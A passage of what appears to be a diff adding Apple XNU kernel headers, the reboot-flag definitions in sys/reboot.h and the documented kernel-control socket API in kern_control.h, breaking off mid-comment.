||||
#endif /* _NET_ROUTE_H_ */
|
||||
@@ -0,0 +1,143 @@
|
||||
/*
|
||||
* Copyright (c) 2000-2006 Apple Computer, Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/* Copyright (c) 1995 NeXT Computer, Inc. All Rights Reserved */
|
||||
/*
|
||||
* Copyright (c) 1982, 1986, 1988, 1993, 1994
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)reboot.h 8.3 (Berkeley) 12/13/94
|
||||
*/
|
||||
|
||||
#ifndef _SYS_REBOOT_H_
|
||||
#define _SYS_REBOOT_H_
|
||||
|
||||
#include <sys/appleapiopts.h>
|
||||
#include <sys/cdefs.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* Arguments to reboot system call.
|
||||
*/
|
||||
|
||||
#ifdef __APPLE_API_PRIVATE
|
||||
#define RB_AUTOBOOT 0 /* flags for system auto-booting itself */
|
||||
|
||||
#define RB_ASKNAME 0x01 /* ask for file name to reboot from */
|
||||
#define RB_SINGLE 0x02 /* reboot to single user only */
|
||||
#define RB_NOSYNC 0x04 /* dont sync before reboot */
|
||||
#define RB_HALT 0x08 /* don't reboot, just halt */
|
||||
#define RB_INITNAME 0x10 /* name given for /etc/init */
|
||||
#define RB_DFLTROOT 0x20 /* use compiled-in rootdev */
|
||||
#define RB_ALTBOOT 0x40 /* use /boot.old vs /boot */
|
||||
#define RB_UNIPROC 0x80 /* don't start slaves */
|
||||
#define RB_SAFEBOOT 0x100 /* booting safe */
|
||||
#define RB_UPSDELAY 0x200 /* Delays restart by 5 minutes */
|
||||
#define RB_QUICK 0x400 /* quick and ungraceful reboot with file system caches flushed*/
|
||||
#define RB_PANIC 0x800 /* panic the kernel */
|
||||
|
||||
#ifndef KERNEL
|
||||
__BEGIN_DECLS
|
||||
/* userspace reboot control */
|
||||
int usrctl(uint32_t flags);
|
||||
/* The normal reboot syscall. */
|
||||
int reboot(int howto);
|
||||
/* Used with RB_PANIC to panic the kernel from userspace with a message.
|
||||
* Requires an entitlement on Release. */
|
||||
int reboot_np(int howto, const char *message);
|
||||
__END_DECLS
|
||||
#endif
|
||||
|
||||
#endif /* __APPLE_API_PRIVATE */
|
||||
|
||||
#ifdef __APPLE_API_OBSOLETE
|
||||
/*
|
||||
* Constants for converting boot-style device number to type,
|
||||
* adaptor (uba, mba, etc), unit number and partition number.
|
||||
* Type (== major device number) is in the low byte
|
||||
* for backward compatibility. Except for that of the "magic
|
||||
* number", each mask applies to the shifted value.
|
||||
* Format:
|
||||
* (4) (4) (4) (4) (8) (8)
|
||||
* --------------------------------
|
||||
* |MA | AD| CT| UN| PART | TYPE |
|
||||
* --------------------------------
|
||||
*/
|
||||
#define B_ADAPTORSHIFT 24
|
||||
#define B_ADAPTORMASK 0x0f
|
||||
#define B_ADAPTOR(val) (((val) >> B_ADAPTORSHIFT) & B_ADAPTORMASK)
|
||||
#define B_CONTROLLERSHIFT 20
|
||||
#define B_CONTROLLERMASK 0xf
|
||||
#define B_CONTROLLER(val) (((val)>>B_CONTROLLERSHIFT) & B_CONTROLLERMASK)
|
||||
#define B_UNITSHIFT 16
|
||||
#define B_UNITMASK 0xff
|
||||
#define B_UNIT(val) (((val) >> B_UNITSHIFT) & B_UNITMASK)
|
||||
#define B_PARTITIONSHIFT 8
|
||||
#define B_PARTITIONMASK 0xff
|
||||
#define B_PARTITION(val) (((val) >> B_PARTITIONSHIFT) & B_PARTITIONMASK)
|
||||
#define B_TYPESHIFT 0
|
||||
#define B_TYPEMASK 0xff
|
||||
#define B_TYPE(val) (((val) >> B_TYPESHIFT) & B_TYPEMASK)
|
||||
#define B_MAGICMASK 0xf0000000
|
||||
#define B_DEVMAGIC 0xa0000000
|
||||
|
||||
#define MAKEBOOTDEV(type, adaptor, controller, unit, partition) \
|
||||
(((type) << B_TYPESHIFT) | ((adaptor) << B_ADAPTORSHIFT) | \
|
||||
((controller) << B_CONTROLLERSHIFT) | ((unit) << B_UNITSHIFT) | \
|
||||
((partition) << B_PARTITIONSHIFT) | B_DEVMAGIC)
|
||||
|
||||
#endif /* __APPLE_API_OBSOLETE */
|
||||
|
||||
#endif /* _SYS_REBOOT_H_ */
|
||||
@@ -0,0 +1,662 @@
|
||||
/*
|
||||
* Copyright (c) 2000-2004, 2012-2016 Apple Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/*!
|
||||
@header kern_control.h
|
||||
This header defines an API to communicate between a kernel
|
||||
extension and a process outside of the kernel.
|
||||
*/
|
||||
|
||||
#ifndef KPI_KERN_CONTROL_H
|
||||
#define KPI_KERN_CONTROL_H
|
||||
|
||||
|
||||
#include <sys/appleapiopts.h>
|
||||
#include <sys/_types/_u_char.h>
|
||||
#include <sys/_types/_u_int16_t.h>
|
||||
#include <sys/_types/_u_int32_t.h>
|
||||
|
||||
/*
|
||||
* Define Controller event subclass, and associated events.
|
||||
* Subclass of KEV_SYSTEM_CLASS
|
||||
*/
|
||||
|
||||
/*!
|
||||
@defined KEV_CTL_SUBCLASS
|
||||
@discussion The kernel event subclass for kernel control events.
|
||||
*/
|
||||
#define KEV_CTL_SUBCLASS 2
|
||||
|
||||
/*!
|
||||
@defined KEV_CTL_REGISTERED
|
||||
@discussion The event code indicating a new controller was
|
||||
registered. The data portion will contain a ctl_event_data.
|
||||
*/
|
||||
#define KEV_CTL_REGISTERED 1 /* a new controller appears */
|
||||
|
||||
/*!
|
||||
@defined KEV_CTL_DEREGISTERED
|
||||
@discussion The event code indicating a controller was unregistered.
|
||||
The data portion will contain a ctl_event_data.
|
||||
*/
|
||||
#define KEV_CTL_DEREGISTERED 2 /* a controller disappears */
|
||||
|
||||
/*!
|
||||
@struct ctl_event_data
|
||||
@discussion This structure is used for KEV_CTL_SUBCLASS kernel
|
||||
events.
|
||||
@field ctl_id The kernel control id.
|
||||
@field ctl_unit The kernel control unit.
|
||||
*/
|
||||
struct ctl_event_data {
|
||||
u_int32_t ctl_id; /* Kernel Controller ID */
|
||||
u_int32_t ctl_unit;
|
||||
};
|
||||
|
||||
/*
|
||||
* Controls destined to the Controller Manager.
|
||||
*/
|
||||
|
||||
/*!
|
||||
@defined CTLIOCGCOUNT
|
||||
@discussion The CTLIOCGCOUNT ioctl can be used to determine the
|
||||
number of kernel controllers registered.
|
||||
*/
|
||||
#define CTLIOCGCOUNT _IOR('N', 2, int) /* get number of control structures registered */
|
||||
|
||||
/*!
|
||||
@defined CTLIOCGINFO
|
||||
@discussion The CTLIOCGINFO ioctl can be used to convert a kernel
|
||||
control name to a kernel control id.
|
||||
*/
|
||||
#define CTLIOCGINFO _IOWR('N', 3, struct ctl_info) /* get id from name */
|
||||
|
||||
|
||||
/*!
|
||||
@defined MAX_KCTL_NAME
|
||||
@discussion Kernel control names must be no longer than
|
||||
MAX_KCTL_NAME.
|
||||
*/
|
||||
#define MAX_KCTL_NAME 96
|
||||
|
||||
/*
|
||||
* Controls destined to the Controller Manager.
|
||||
*/
|
||||
|
||||
/*!
|
||||
@struct ctl_info
|
||||
@discussion This structure is used with the CTLIOCGINFO ioctl to
|
||||
translate from a kernel control name to a control id.
|
||||
@field ctl_id The kernel control id, filled out upon return.
|
||||
@field ctl_name The kernel control name to find.
|
||||
*/
|
||||
struct ctl_info {
|
||||
u_int32_t ctl_id; /* Kernel Controller ID */
|
||||
char ctl_name[MAX_KCTL_NAME]; /* Kernel Controller Name (a C string) */
|
||||
};
|
||||
|
||||
|
||||
/*!
|
||||
@struct sockaddr_ctl
|
||||
@discussion The controller address structure is used to establish
|
||||
contact between a user client and a kernel controller. The
|
||||
sc_id/sc_unit uniquely identify each controller. sc_id is a
|
||||
unique identifier assigned to the controller. The identifier can
|
||||
be assigned by the system at registration time or be a 32-bit
|
||||
creator code obtained from Apple Computer. sc_unit is a unit
|
||||
number for this sc_id, and is privately used by the kernel
|
||||
controller to identify several instances of the controller.
|
||||
@field sc_len The length of the structure.
|
||||
@field sc_family AF_SYSTEM.
|
||||
@field ss_sysaddr AF_SYS_KERNCONTROL.
|
||||
@field sc_id Controller unique identifier.
|
||||
@field sc_unit Kernel controller private unit number.
|
||||
@field sc_reserved Reserved, must be set to zero.
|
||||
*/
|
||||
struct sockaddr_ctl {
|
||||
u_char sc_len; /* depends on size of bundle ID string */
|
||||
u_char sc_family; /* AF_SYSTEM */
|
||||
u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */
|
||||
u_int32_t sc_id; /* Controller unique identifier */
|
||||
u_int32_t sc_unit; /* Developer private unit number */
|
||||
u_int32_t sc_reserved[5];
|
||||
};
|
||||
|
||||
#ifdef PRIVATE
|
||||
|
||||
struct xkctl_reg {
|
||||
u_int32_t xkr_len;
|
||||
u_int32_t xkr_kind;
|
||||
u_int32_t xkr_id;
|
||||
u_int32_t xkr_reg_unit;
|
||||
u_int32_t xkr_flags;
|
||||
u_int64_t xkr_kctlref;
|
||||
u_int32_t xkr_recvbufsize;
|
||||
u_int32_t xkr_sendbufsize;
|
||||
u_int32_t xkr_lastunit;
|
||||
u_int32_t xkr_pcbcount;
|
||||
u_int64_t xkr_connect;
|
||||
u_int64_t xkr_disconnect;
|
||||
u_int64_t xkr_send;
|
||||
u_int64_t xkr_send_list;
|
||||
u_int64_t xkr_setopt;
|
||||
u_int64_t xkr_getopt;
|
||||
u_int64_t xkr_rcvd;
|
||||
char xkr_name[MAX_KCTL_NAME];
|
||||
};
|
||||
|
||||
struct xkctlpcb {
|
||||
u_int32_t xkp_len;
|
||||
u_int32_t xkp_kind;
|
||||
u_int64_t xkp_kctpcb;
|
||||
u_int32_t xkp_unit;
|
||||
u_int32_t xkp_kctlid;
|
||||
u_int64_t xkp_kctlref;
|
||||
char xkp_kctlname[MAX_KCTL_NAME];
|
||||
};
|
||||
|
||||
struct kctlstat {
|
||||
u_int64_t kcs_reg_total __attribute__((aligned(8)));
|
||||
u_int64_t kcs_reg_count __attribute__((aligned(8)));
|
||||
u_int64_t kcs_pcbcount __attribute__((aligned(8)));
|
||||
u_int64_t kcs_gencnt __attribute__((aligned(8)));
|
||||
u_int64_t kcs_connections __attribute__((aligned(8)));
|
||||
u_int64_t kcs_conn_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_send_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_send_list_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_enqueue_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_enqueue_fullsock __attribute__((aligned(8)));
|
||||
u_int64_t kcs_bad_kctlref __attribute__((aligned(8)));
|
||||
u_int64_t kcs_tbl_size_too_big __attribute__((aligned(8)));
|
||||
u_int64_t kcs_enqdata_mb_alloc_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_enqdata_sbappend_fail __attribute__((aligned(8)));
|
||||
};
|
||||
|
||||
#endif /* PRIVATE */
|
||||
|
||||
#ifdef KERNEL
|
||||
|
||||
#include <sys/kpi_mbuf.h>
|
||||
|
||||
/*!
|
||||
@typedef kern_ctl_ref
|
||||
@discussion A control reference is used to track an attached kernel
|
||||
control. Registering a kernel control will create a kernel
|
||||
control reference. This reference is required for sending data
|
||||
or removing the kernel control. This reference will be passed to
|
||||
callbacks for that kernel control.
|
||||
*/
|
||||
typedef void * kern_ctl_ref;
|
||||
|
||||
/*!
|
||||
@defined CTL_FLAG_PRIVILEGED
|
||||
@discussion The CTL_FLAG_PRIVILEGED flag is passed in ctl_flags. If
|
||||
this flag is set, only privileged processes may attach to this
|
||||
kernel control.
|
||||
*/
|
||||
#define CTL_FLAG_PRIVILEGED 0x1
|
||||
/*!
|
||||
@defined CTL_FLAG_REG_ID_UNIT
|
||||
@discussion The CTL_FLAG_REG_ID_UNIT flag is passed to indicate that
|
||||
the ctl_id specified should be used. If this flag is not
|
||||
present, a unique ctl_id will be dynamically assigned to your
|
||||
kernel control. The CTLIOCGINFO ioctl can be used by the client
|
||||
to find the dynamically assigned id based on the control name
|
||||
specified in ctl_name.
|
||||
*/
|
||||
#define CTL_FLAG_REG_ID_UNIT 0x2
|
||||
/*!
|
||||
@defined CTL_FLAG_REG_SOCK_STREAM
|
||||
@discussion Use the CTL_FLAG_REG_SOCK_STREAM flag when client need to open
|
||||
socket of type SOCK_STREAM to communicate with the kernel control.
|
||||
By default kernel control sockets are of type SOCK_DGRAM.
|
||||
*/
|
||||
#define CTL_FLAG_REG_SOCK_STREAM 0x4
|
||||
|
||||
#ifdef KERNEL_PRIVATE
|
||||
/*!
|
||||
@defined CTL_FLAG_REG_EXTENDED
|
||||
@discussion This flag indicates that this kernel control utilizes the
|
||||
the extended fields within the kern_ctl_reg structure.
|
||||
*/
|
||||
#define CTL_FLAG_REG_EXTENDED 0x8
|
||||
|
||||
/*!
|
||||
@defined CTL_FLAG_REG_CRIT
|
||||
@discussion This flag indicates that this kernel control utilizes the
|
||||
the extended fields within the kern_ctl_reg structure.
|
||||
*/
|
||||
#define CTL_FLAG_REG_CRIT 0x10
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
|
||||
/* Data flags for controllers */
|
||||
/*!
|
||||
@defined CTL_DATA_NOWAKEUP
|
||||
@discussion The CTL_DATA_NOWAKEUP flag can be used for the enqueue
|
||||
data and enqueue mbuf functions to indicate that the process
|
||||
should not be woken up yet. This is useful when you want to
|
||||
enqueue data using more than one call but only want to wake up
|
||||
the client after all of the data has been enqueued.
|
||||
*/
|
||||
#define CTL_DATA_NOWAKEUP 0x1
|
||||
|
||||
/*!
|
||||
@defined CTL_DATA_EOR
|
||||
@discussion The CTL_DATA_EOR flag can be used for the enqueue
|
||||
data and enqueue mbuf functions to mark the end of a record.
|
||||
*/
|
||||
#define CTL_DATA_EOR 0x2
|
||||
|
||||
#ifdef KERNEL_PRIVATE
|
||||
/*!
|
||||
@defined CTL_DATA_CRIT
|
||||
@discussion This flag indicates the data is critical to the client
|
||||
and that it needs to be forced into the socket buffer
|
||||
by resizing it if needed.
|
||||
*/
|
||||
#define CTL_DATA_CRIT 0x4
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
/*!
|
||||
@typedef ctl_connect_func
|
||||
@discussion The ctl_connect_func is used to receive
|
||||
notification of a client connecting to the kernel control.
|
||||
@param kctlref The control ref for the kernel control the client is
|
||||
connecting to.
|
||||
@param sac The address used to connect to this control. The field sc_unit
|
||||
contains the unit number of the kernel control instance the client is
|
||||
connecting to. If CTL_FLAG_REG_ID_UNIT was set when the kernel control
|
||||
was registered, sc_unit is the ctl_unit of the kern_ctl_reg structure.
|
||||
If CTL_FLAG_REG_ID_UNIT was not set when the kernel control was
|
||||
registered, sc_unit is the dynamically allocated unit number of
|
||||
the new kernel control instance that is used for this connection.
|
||||
@param unitinfo A placeholder for a pointer to the optional user-defined
|
||||
private data associated with this kernel control instance. This
|
||||
opaque info will be provided to the user when the rest of the
|
||||
callback routines are executed. For example, it can be used
|
||||
to pass a pointer to an instance-specific data structure in
|
||||
order for the user to keep track of the states related to this
|
||||
kernel control instance.
|
||||
*/
|
||||
typedef errno_t (*ctl_connect_func)(kern_ctl_ref kctlref,
|
||||
struct sockaddr_ctl *sac,
|
||||
void **unitinfo);
|
||||
|
||||
/*!
|
||||
@typedef ctl_disconnect_func
|
||||
@discussion The ctl_disconnect_func is used to receive notification
|
||||
that a client has disconnected from the kernel control. This
|
||||
usually happens when the socket is closed. If this is the last
|
||||
socket attached to your kernel control, you may unregister your
|
||||
kernel control from this callback.
|
||||
@param kctlref The control ref for the kernel control instance the client has
|
||||
disconnected from.
|
||||
@param unit The unit number of the kernel control instance the client has
|
||||
disconnected from.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
*/
|
||||
typedef errno_t (*ctl_disconnect_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo);
|
||||
|
||||
/*!
|
||||
@typedef ctl_send_func
|
||||
@discussion The ctl_send_func is used to receive data sent from
|
||||
the client to the kernel control.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance the client has
|
||||
connected to.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param m The data sent by the client to the kernel control in an
|
||||
mbuf chain. Your function is responsible for releasing the
|
||||
mbuf chain.
|
||||
@param flags The flags specified by the client when calling
|
||||
send/sendto/sendmsg (MSG_OOB/MSG_DONTROUTE).
|
||||
*/
|
||||
typedef errno_t (*ctl_send_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
mbuf_t m, int flags);
|
||||
|
||||
/*!
|
||||
@typedef ctl_setopt_func
|
||||
@discussion The ctl_setopt_func is used to handle set socket option
|
||||
calls for the SYSPROTO_CONTROL option level.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param opt The socket option.
|
||||
@param data A pointer to the socket option data. The data has
|
||||
already been copied in to the kernel for you.
|
||||
@param len The length of the socket option data.
|
||||
*/
|
||||
typedef errno_t (*ctl_setopt_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
int opt, void *data, size_t len);
|
||||
|
||||
/*!
|
||||
@typedef ctl_getopt_func
|
||||
@discussion The ctl_getopt_func is used to handle client get socket
|
||||
option requests for the SYSPROTO_CONTROL option level. A buffer
|
||||
is allocated for storage and passed to your function. The length
|
||||
of that buffer is also passed. Upon return, you should set *len
|
||||
to length of the buffer used. In some cases, data may be NULL.
|
||||
When this happens, *len should be set to the length you would
|
||||
have returned had data not been NULL. If the buffer is too small,
|
||||
return an error.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param opt The socket option.
|
||||
@param data A buffer to copy the results in to. May be NULL, see
|
||||
discussion.
|
||||
@param len A pointer to the length of the buffer. This should be set
|
||||
to the length of the buffer used before returning.
|
||||
*/
|
||||
typedef errno_t (*ctl_getopt_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
int opt, void *data, size_t *len);
|
||||
|
||||
#ifdef KERNEL_PRIVATE
|
||||
/*!
|
||||
@typedef ctl_rcvd_func
|
||||
@discussion The ctl_rcvd_func is called when the client reads data from
|
||||
the kernel control socket. The kernel control can use this callback
|
||||
in combination with ctl_getenqueuespace() to avoid overflowing
|
||||
the socket's receive buffer. When ctl_getenqueuespace() returns
|
||||
0 or ctl_enqueuedata()/ctl_enqueuembuf() return ENOBUFS, the
|
||||
kernel control can wait until this callback is called before
|
||||
trying to enqueue the data again.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param flags The recv flags. See the recv(2) man page.
|
||||
*/
|
||||
typedef void (*ctl_rcvd_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
int flags);
|
||||
|
||||
/*!
|
||||
@typedef ctl_send_list_func
|
||||
@discussion The ctl_send_list_func is used to receive data sent from
|
||||
the client to the kernel control.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance the client has
|
||||
connected to.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param m The data sent by the client to the kernel control in an
|
||||
mbuf packet chain. Your function is responsible for releasing
|
||||
mbuf packet chain.
|
||||
@param flags The flags specified by the client when calling
|
||||
send/sendto/sendmsg (MSG_OOB/MSG_DONTROUTE).
|
||||
*/
|
||||
typedef errno_t (*ctl_send_list_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
mbuf_t m, int flags);
|
||||
|
||||
/*!
|
||||
@typedef ctl_bind_func
|
||||
@discussion The ctl_bind_func is an optional function that allows the client
|
||||
to set up their unitinfo prior to connecting.
|
||||
@param kctlref The control ref for the kernel control the client is
|
||||
binding to.
|
||||
@param sac The address used to connect to this control. The field sc_unit
|
||||
contains the unit number of the kernel control instance the client is
|
||||
binding to. If CTL_FLAG_REG_ID_UNIT was set when the kernel control
|
||||
was registered, sc_unit is the ctl_unit of the kern_ctl_reg structure.
|
||||
If CTL_FLAG_REG_ID_UNIT was not set when the kernel control was
|
||||
registered, sc_unit is the dynamically allocated unit number of
|
||||
the new kernel control instance that is used for this connection.
|
||||
@param unitinfo A placeholder for a pointer to the optional user-defined
|
||||
private data associated with this kernel control instance. This
|
||||
opaque info will be provided to the user when the rest of the
|
||||
callback routines are executed. For example, it can be used
|
||||
to pass a pointer to an instance-specific data structure in
|
||||
order for the user to keep track of the states related to this
|
||||
kernel control instance.
|
||||
*/
|
||||
typedef errno_t (*ctl_bind_func)(kern_ctl_ref kctlref,
|
||||
struct sockaddr_ctl *sac,
|
||||
void **unitinfo);
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
|
||||
/*!
|
||||
@struct kern_ctl_reg
|
||||
@discussion This structure defines the properties of a kernel
|
||||
control being registered.
|
||||
@field ctl_name A Bundle ID string of up to MAX_KCTL_NAME bytes (including the ending zero).
|
||||
This string should not be empty.
|
||||
@field ctl_id The control ID may be dynamically assigned or it can be a
|
||||
32-bit creator code assigned by DTS.
|
||||
For a DTS assigned creator code the CTL_FLAG_REG_ID_UNIT flag must be set.
|
||||
For a dynamically assigned control ID, do not set the CTL_FLAG_REG_ID_UNIT flag.
|
||||
The value of the dynamically assigned control ID is set to this field
|
||||
when the registration succeeds.
|
||||
@field ctl_unit A separate unit number to register multiple units that
|
||||
share the same control ID with DTS assigned creator code when
|
||||
the CTL_FLAG_REG_ID_UNIT flag is set.
|
||||
This field is ignored for a dynamically assigned control ID.
|
||||
@field ctl_flags CTL_FLAG_PRIVILEGED and/or CTL_FLAG_REG_ID_UNIT.
|
||||
@field ctl_sendsize Override the default send size. If set to zero,
|
||||
the default send size will be used, and this default value
|
||||
is set to this field to be retrieved by the caller.
|
||||
@field ctl_recvsize Override the default receive size. If set to
|
||||
zero, the default receive size will be used, and this default value
|
||||
is set to this field to be retrieved by the caller.
|
||||
@field ctl_connect Specify the function to be called whenever a client
|
||||
connects to the kernel control. This field must be specified.
|
||||
@field ctl_disconnect Specify a function to be called whenever a
|
||||
client disconnects from the kernel control.
|
||||
@field ctl_send Specify a function to handle data send from the
|
||||
client to the kernel control.
|
||||
@field ctl_setopt Specify a function to handle set socket option
|
||||
operations for the kernel control.
|
||||
@field ctl_getopt Specify a function to handle get socket option
|
||||
operations for the kernel control.
|
||||
*/
|
||||
struct kern_ctl_reg
|
||||
{
|
||||
/* control information */
|
||||
char ctl_name[MAX_KCTL_NAME];
|
||||
u_int32_t ctl_id;
|
||||
u_int32_t ctl_unit;
|
||||
|
||||
/* control settings */
|
||||
u_int32_t ctl_flags;
|
||||
u_int32_t ctl_sendsize;
|
||||
u_int32_t ctl_recvsize;
|
||||
|
||||
/* Dispatch functions */
|
||||
ctl_connect_func ctl_connect;
|
||||
ctl_disconnect_func ctl_disconnect;
|
||||
ctl_send_func ctl_send;
|
||||
ctl_setopt_func ctl_setopt;
|
||||
ctl_getopt_func ctl_getopt;
|
||||
#ifdef KERNEL_PRIVATE
|
||||
ctl_rcvd_func ctl_rcvd; /* Only valid if CTL_FLAG_REG_EXTENDED is set */
|
||||
ctl_send_list_func ctl_send_list; /* Only valid if CTL_FLAG_REG_EXTENDED is set */
|
||||
ctl_bind_func ctl_bind;
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
};
|
||||
|
||||
/*!
|
||||
@function ctl_register
|
||||
@discussion Register a kernel control. This will enable clients to
|
||||
connect to the kernel control using a PF_SYSTEM socket.
|
||||
@param userkctl A structure defining the kernel control to be
|
||||
attached. The ctl_connect callback must be specified, the other callbacks
|
||||
are optional. If ctl_connect is set to zero, ctl_register fails with
|
||||
the error code EINVAL.
|
||||
@param kctlref Upon successful return, the kctlref will contain a
|
||||
reference to the attached kernel control. This reference is used
|
||||
to unregister the kernel control. This reference will also be
|
||||
passed in to the callbacks each time they are called.
|
||||
@result 0 - Kernel control was registered.
|
||||
EINVAL - The registration structure was not valid.
|
||||
ENOMEM - There was insufficient memory.
|
||||
EEXIST - A controller with that id/unit is already registered.
|
||||
*/
|
||||
errno_t
|
||||
ctl_register(struct kern_ctl_reg *userkctl, kern_ctl_ref *kctlref);
|
||||
|
||||
/*!
|
||||
@function ctl_deregister
|
||||
@discussion Unregister a kernel control. A kernel extension must
|
||||
unregister it's kernel control(s) before unloading. If a kernel
|
||||
control has clients attached, this call will fail.
|
||||
@param kctlref The control reference of the control to unregister.
|
||||
@result 0 - Kernel control was unregistered.
|
||||
EINVAL - The kernel control reference was invalid.
|
||||
EBUSY - The kernel control has clients still attached.
|
||||
*/
|
||||
errno_t
|
||||
ctl_deregister(kern_ctl_ref kctlref);
|
||||
|
||||
/*!
|
||||
@function ctl_enqueuedata
|
||||
@discussion Send data from the kernel control to the client.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param data A pointer to the data to send.
|
||||
@param len The length of data to send.
|
||||
@param flags Send flags. CTL_DATA_NOWAKEUP and CTL_DATA_EOR are currently
|
||||
the only supported flags.
